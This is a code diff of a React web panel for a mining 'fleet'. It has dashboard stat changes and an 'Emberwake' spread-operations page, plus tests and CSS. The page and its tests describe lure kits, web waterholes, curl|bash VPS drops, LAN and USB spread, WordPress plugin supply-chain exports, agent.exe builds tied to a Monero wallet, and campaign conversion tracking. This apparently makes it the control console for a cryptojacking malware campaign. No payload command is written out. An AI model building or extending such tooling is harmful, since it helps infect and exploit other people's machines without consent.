.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
|
||||
.cop-network .crucible-op-btn {
|
||||
border-color: rgba(58, 134, 255, 0.28);
|
||||
@@ -537,13 +558,20 @@
|
||||
color: rgba(255, 120, 200, 0.95);
|
||||
}
|
||||
|
||||
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
|
||||
.cop-maint { border-color: rgba(0, 212, 170, 0.2); }
|
||||
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
|
||||
|
||||
.crucible-op-collapsible .cop-toggle {
|
||||
.crucible-op-collapsible .cop-toggle-row {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.crucible-op-collapsible .cop-toggle {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
background: none;
|
||||
border: none;
|
||||
@@ -555,6 +583,10 @@
|
||||
border-bottom: none;
|
||||
margin-bottom: 0;
|
||||
padding-bottom: 0;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.25rem;
|
||||
width: auto;
|
||||
}
|
||||
.crucible-op-collapsible .cop-chevron {
|
||||
font-size: 0.65rem;
|
||||
@@ -955,16 +987,76 @@
|
||||
|
||||
/* ── SSH Info ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ssh-info { margin-bottom: 2rem; }
|
||||
|
||||
.crucible-ssh-grid {
|
||||
.crucible-ssh-notes {
|
||||
width: 100%;
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 0.75rem 1.5rem;
|
||||
margin-top: 0.5rem;
|
||||
gap: 0.55rem 1rem;
|
||||
margin-top: 0.35rem;
|
||||
padding-top: 0.45rem;
|
||||
border-top: 1px dashed rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
|
||||
@media (max-width: 700px) {
|
||||
.crucible-ssh-notes { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
.crucible-seek-blurb {
|
||||
width: 100%;
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-muted);
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.crucible-seek-input {
|
||||
width: 100%;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.seek-field-label {
|
||||
width: 100%;
|
||||
font-size: 0.65rem;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-muted);
|
||||
font-family: var(--font-tech);
|
||||
margin-bottom: 0.2rem;
|
||||
}
|
||||
|
||||
.crucible-seek-platforms {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 1rem;
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.crucible-seek-platforms label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.crucible-seek-platforms .seek-win { color: #61dafb; }
|
||||
.crucible-seek-platforms .seek-mac { color: #a8ff78; }
|
||||
.crucible-seek-platforms .seek-hint { color: #555; font-size: 0.7rem; }
|
||||
|
||||
.crucible-seek-launch {
|
||||
background: linear-gradient(135deg, #ff8c00 0%, #ff4500 100%) !important;
|
||||
border: none !important;
|
||||
color: #fff !important;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.crucible-fm-hint {
|
||||
width: 100%;
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.crucible-ssh-step {
|
||||
display: flex;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -135,9 +135,9 @@ describe('DashboardPage', () => {
|
||||
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('Total Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Online')).toBeInTheDocument();
|
||||
expect(screen.getByText('Accept Rate')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Top Miner')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Compute')).toBeInTheDocument();
|
||||
expect(screen.getAllByText('Fleet Hash')[0]).toBeInTheDocument();
|
||||
const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement;
|
||||
expect(within(roster).getByText('Alpha Node')).toBeInTheDocument();
|
||||
expect(within(roster).getByText('online')).toBeInTheDocument();
|
||||
|
||||
@@ -22,6 +22,7 @@ import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import ErrorBoundary from '../components/ErrorBoundary';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
|
||||
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
||||
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
|
||||
@@ -187,16 +188,39 @@ export default function DashboardPage() {
|
||||
return () => controller.abort();
|
||||
}, [totalHashrate]);
|
||||
|
||||
const chartMetricsRef = useRef({
|
||||
totalHashrate,
|
||||
acceptRate,
|
||||
avgCpu,
|
||||
avgMem,
|
||||
totalGPUHashrate,
|
||||
});
|
||||
chartMetricsRef.current = {
|
||||
totalHashrate,
|
||||
acceptRate,
|
||||
avgCpu,
|
||||
avgMem,
|
||||
totalGPUHashrate,
|
||||
};
|
||||
|
||||
// Sample fleet metrics every 2s instead of on every WS stats_update (reduces chart re-renders).
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
if (totalGPUHashrate > 0) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
|
||||
}
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
|
||||
const sample = () => {
|
||||
if (document.hidden) return;
|
||||
const m = chartMetricsRef.current;
|
||||
const now = new Date().toLocaleTimeString();
|
||||
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: m.totalHashrate }]);
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: m.acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: m.avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: m.avgMem }]);
|
||||
if (m.totalGPUHashrate > 0) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: m.totalGPUHashrate }]);
|
||||
}
|
||||
};
|
||||
sample();
|
||||
const id = window.setInterval(sample, 2000);
|
||||
return () => window.clearInterval(id);
|
||||
}, []);
|
||||
|
||||
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
|
||||
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
|
||||
@@ -415,7 +439,9 @@ export default function DashboardPage() {
|
||||
<span className="beacon-core" />
|
||||
</div>
|
||||
<div>
|
||||
<span className="font-tech live-label">{isConnected ? 'SIGNAL LOCKED' : 'RECONNECTING'}</span>
|
||||
<span className="font-tech live-label">
|
||||
{isConnected ? 'SIGNAL LOCKED' : 'RECONNECTING'} <HelpTip field="dash_signal_locked" />
|
||||
</span>
|
||||
<span className="live-sub">{agents.length} nodes registered</span>
|
||||
</div>
|
||||
<button
|
||||
@@ -425,38 +451,42 @@ export default function DashboardPage() {
|
||||
>
|
||||
{advancedMode ? '[OVERVIEW]' : '[ADVANCED]'}
|
||||
</button>
|
||||
<HelpTip field="dash_advanced_mode" />
|
||||
{advancedMode && (
|
||||
<button
|
||||
className="button matrix-toggle-btn"
|
||||
onClick={() => setShowMatrix(true)}
|
||||
style={{ background: 'transparent', border: '1px solid #0f0', color: '#0f0', fontFamily: 'monospace' }}
|
||||
>
|
||||
[RAW_STREAM]
|
||||
</button>
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className="button matrix-toggle-btn"
|
||||
onClick={() => setShowMatrix(true)}
|
||||
>
|
||||
[RAW_STREAM]
|
||||
</button>
|
||||
<HelpTip field="dash_raw_stream" />
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Fleet Hash</div>
|
||||
<div className="dwp-label">Fleet Hash <HelpTip field="dash_fleet_hash" /></div>
|
||||
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="dwp-sub">15m rolling</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Est. Daily</div>
|
||||
<div className="dwp-label">Est. Daily <HelpTip field="dash_est_daily" /></div>
|
||||
<div className="dwp-value mint">
|
||||
{estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
|
||||
</div>
|
||||
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Accept</div>
|
||||
<div className="dwp-label">Accept <HelpTip field="dash_accept_rate" /></div>
|
||||
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="dwp-sub">share quality</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Nodes Live</div>
|
||||
<div className="dwp-label">Nodes Live <HelpTip field="dash_nodes_live" /></div>
|
||||
<div className="dwp-value">
|
||||
{onlineCount}/{agents.length}
|
||||
</div>
|
||||
@@ -466,7 +496,7 @@ export default function DashboardPage() {
|
||||
|
||||
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
|
||||
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
|
||||
<span className="section-ornament">◆</span> Fleet Pipeline
|
||||
<span className="section-ornament">◆</span> Fleet Pipeline <HelpTip field="dash_fleet_pipeline" />
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
@@ -517,33 +547,7 @@ export default function DashboardPage() {
|
||||
</section>
|
||||
|
||||
<div className="grid-4 stats-grid steampunk-stats">
|
||||
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Total Hashrate</div>
|
||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="stat-sub">{onlineCount} engines firing</div>
|
||||
</NeonCard>
|
||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Fleet Online</div>
|
||||
<div className="stat-value accepted">
|
||||
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
|
||||
</div>
|
||||
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Accept Rate</div>
|
||||
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="stat-sub">
|
||||
{acceptedShares + rejectedShares > 0
|
||||
? `${acceptedShares} valid · ${rejectedShares} rejected`
|
||||
: 'no shares yet'}
|
||||
</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="stat-card-wrap">
|
||||
<div className="stat-label font-tech">Resources</div>
|
||||
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
|
||||
<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Pretty numbers row ── */}
|
||||
<NeonCard accent="gold" className="stat-card-wrap">
|
||||
@@ -657,6 +661,7 @@ export default function DashboardPage() {
|
||||
MONERO SUBHEADING — clarify the section above belongs to XMR
|
||||
═══════════════════════════════════════════════════════════════════ */}
|
||||
<div className="mining-coin-label monero-label">
|
||||
<HelpTip field="dash_xmr_section" />
|
||||
<span className="coin-badge xmr-badge">XMR</span>
|
||||
<span className="coin-name font-tech">MONERO</span>
|
||||
<span className="coin-algo font-tech">· RandomX CPU ·</span>
|
||||
@@ -669,6 +674,7 @@ export default function DashboardPage() {
|
||||
{hasGPUMining && (
|
||||
<div className="rvn-section">
|
||||
<div className="mining-coin-label rvn-label">
|
||||
<HelpTip field="dash_gpu_rvn" />
|
||||
<span className="coin-badge rvn-badge">RVN</span>
|
||||
<span className="coin-name font-tech">RAVENCOIN</span>
|
||||
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
|
||||
|
||||
@@ -11,6 +11,133 @@
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.emberwake-hero-links {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.emberwake-section-title {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 1.1rem;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.emberwake-section-desc {
|
||||
margin: 0 0 0.85rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.emberwake-primary-block {
|
||||
margin-bottom: 1.5rem;
|
||||
}
|
||||
|
||||
.emberwake-setup-grid {
|
||||
display: grid;
|
||||
gap: 0.75rem;
|
||||
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.emberwake-subsection {
|
||||
margin-top: 1rem;
|
||||
padding-top: 1rem;
|
||||
border-top: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.emberwake-subsection--inline {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: flex-end;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.emberwake-subsection-title {
|
||||
margin: 0 0 0.25rem;
|
||||
font-size: 0.95rem;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.emberwake-oneliner {
|
||||
display: block;
|
||||
font-size: 0.75rem;
|
||||
word-break: break-all;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.emberwake-advanced {
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
|
||||
.emberwake-advanced:not([open]) > :not(summary) {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.emberwake-advanced-summary {
|
||||
cursor: pointer;
|
||||
list-style: none;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.emberwake-advanced-summary::-webkit-details-marker {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.emberwake-advanced-summary::before {
|
||||
content: '▸';
|
||||
color: var(--text-dim, #888);
|
||||
margin-right: 0.35rem;
|
||||
transition: transform 0.15s ease;
|
||||
}
|
||||
|
||||
.emberwake-advanced[open] .emberwake-advanced-summary::before {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
.emberwake-advanced-tag {
|
||||
margin: 0;
|
||||
font-size: 0.72rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.06em;
|
||||
color: #a78bfa;
|
||||
}
|
||||
|
||||
.emberwake-advanced[open] > .emberwake-section-desc,
|
||||
.emberwake-advanced[open] > .supply-chain-wizard,
|
||||
.emberwake-advanced[open] > .emberwake-public-list {
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.emberwake-public-list {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.emberwake-public-list li {
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-techniques-block {
|
||||
margin-bottom: 1.25rem;
|
||||
}
|
||||
|
||||
.war-room-toolbar-meta {
|
||||
font-size: 0.78rem;
|
||||
color: var(--text-dim, #888);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
|
||||
.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
|
||||
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
|
||||
|
||||
119
server/web/src/pages/EmberwakePage.test.tsx
Normal file
119
server/web/src/pages/EmberwakePage.test.tsx
Normal file
@@ -0,0 +1,119 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import EmberwakePage from './EmberwakePage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { SPREAD_TECHNIQUES_DOC } from '../help/spreadTechniques';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: () => ({ latestMessage: null }),
|
||||
}));
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
usePresence: () => ({
|
||||
notesTyping: null,
|
||||
sendNotesTyping: vi.fn(),
|
||||
comradesHere: () => [],
|
||||
}),
|
||||
}));
|
||||
|
||||
function renderEmberwake() {
|
||||
return render(
|
||||
<MemoryRouter initialEntries={['/emberwake']} future={routerFuture}>
|
||||
<EmberwakePage />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('EmberwakePage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([
|
||||
{
|
||||
id: 'build-1',
|
||||
worker_name: 'office-worker',
|
||||
server_url: 'http://localhost:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
file_size: 1024,
|
||||
file_path: 'builds/agent.exe',
|
||||
file_name: 'agent.exe',
|
||||
created_at: '2026-05-30T12:00:00.000Z',
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
platform: 'windows',
|
||||
download_url: '/api/v1/builds/build-1/download',
|
||||
pinned: true,
|
||||
},
|
||||
]);
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'listPublicBuilds').mockResolvedValue({ builds: [] });
|
||||
vi.spyOn(api, 'getEmberwakeNotes').mockResolvedValue({ content: '', updated_at: '', updated_by: '' });
|
||||
vi.spyOn(api, 'getWarRoom').mockResolvedValue({
|
||||
campaigns: [],
|
||||
days: 7,
|
||||
generated_at: '2026-06-06T12:00:00.000Z',
|
||||
});
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
vi.stubGlobal('navigator', {
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders hero and primary campaign setup once', async () => {
|
||||
renderEmberwake();
|
||||
expect(await screen.findByRole('heading', { level: 1, name: /Emberwake/i })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Tag install links, export lure kits/i)).toBeInTheDocument();
|
||||
expect(screen.getByRole('heading', { level: 2, name: /Campaign setup/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('heading', { level: 3, name: /Install commands/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
|
||||
expect(screen.queryByRole('heading', { name: /Campaign builder/i })).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows war room and a single techniques reference section', async () => {
|
||||
renderEmberwake();
|
||||
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||
expect(screen.getByRole('heading', { level: 2, name: /Campaign War Room/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('heading', { level: 2, name: /How to spread/i })).toBeInTheDocument();
|
||||
const techniqueLinks = screen.getAllByRole('link', { name: /Web waterhole|curl \| bash VPS|LAN kindling/i });
|
||||
expect(techniqueLinks.length).toBeGreaterThanOrEqual(3);
|
||||
const playbookLinks = screen.getAllByRole('link', { name: /Spread techniques playbook/i });
|
||||
expect(playbookLinks.length).toBe(2);
|
||||
playbookLinks.forEach((link) => expect(link).toHaveAttribute('href', SPREAD_TECHNIQUES_DOC));
|
||||
});
|
||||
|
||||
it('collapses advanced sections by default', async () => {
|
||||
renderEmberwake();
|
||||
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||
expect(screen.getByText(/Supply-chain exports/i)).toBeInTheDocument();
|
||||
const wpTab = screen.getByRole('tab', { name: /WordPress plugin/i });
|
||||
expect(wpTab).not.toBeVisible();
|
||||
expect(screen.getByText(/Public download links/i)).toBeInTheDocument();
|
||||
expect(screen.queryByRole('link', { name: /public download/i })).not.toBeVisible();
|
||||
});
|
||||
|
||||
it('exports spread kit from primary block', async () => {
|
||||
const user = userEvent.setup();
|
||||
const exportSpy = vi.spyOn(api, 'exportSpreadKit');
|
||||
renderEmberwake();
|
||||
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
|
||||
await waitFor(() => {
|
||||
expect(exportSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,13 +1,9 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { useVisibleInterval } from '../hooks/usePageVisible';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
ps1Oneliner,
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import { publicDownloadUrl } from '../help/emberwake';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
@@ -22,6 +18,7 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
@@ -29,10 +26,10 @@ import '../components/Presence/Presence.css';
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
void navigator.clipboard?.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
}).catch(() => {});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
@@ -68,13 +65,15 @@ export default function EmberwakePage() {
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
try {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
} catch {
|
||||
/* war room is non-critical; silently retain previous data */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
@@ -106,12 +105,9 @@ export default function EmberwakePage() {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
const id = window.setInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
return () => window.clearInterval(id);
|
||||
}, [loadWarRoom]);
|
||||
useVisibleInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
@@ -203,138 +199,118 @@ export default function EmberwakePage() {
|
||||
<div className="page emberwake-page operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
<h1>Emberwake</h1>
|
||||
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
|
||||
<h1>
|
||||
Emberwake <HelpTip field="ew_overview" />
|
||||
</h1>
|
||||
<p className="page-subtitle">
|
||||
Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
|
||||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||||
</p>
|
||||
<p className="emberwake-hero-links form-hint">
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
Spread techniques playbook
|
||||
</a>
|
||||
{' · '}
|
||||
<a href="/spread/">On-server spread lander</a>
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
|
||||
<h3>How to spread</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Operator instructions (no login):{' '}
|
||||
<a href="/spread/">Spread kit landing</a>
|
||||
{' · '}
|
||||
Full threat-intel matrix:{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
SPREAD_TECHNIQUES.md
|
||||
</a>
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
|
||||
aria-labelledby="ew-setup-heading"
|
||||
>
|
||||
<h2 id="ew-setup-heading" className="emberwake-section-title">
|
||||
Campaign setup <HelpTip field="ew_campaign_setup" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Set once — every link and export below uses these values.
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.label}>
|
||||
<strong>{t.label}</strong> — {t.hint}{' '}
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
playbook §
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
<div className="emberwake-setup-grid">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">
|
||||
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
|
||||
</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-server">Command deck URL</label>
|
||||
<input
|
||||
id="ew-server"
|
||||
className="input mono"
|
||||
value={serverBase}
|
||||
onChange={(e) => setServerBase(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
|
||||
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
|
||||
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
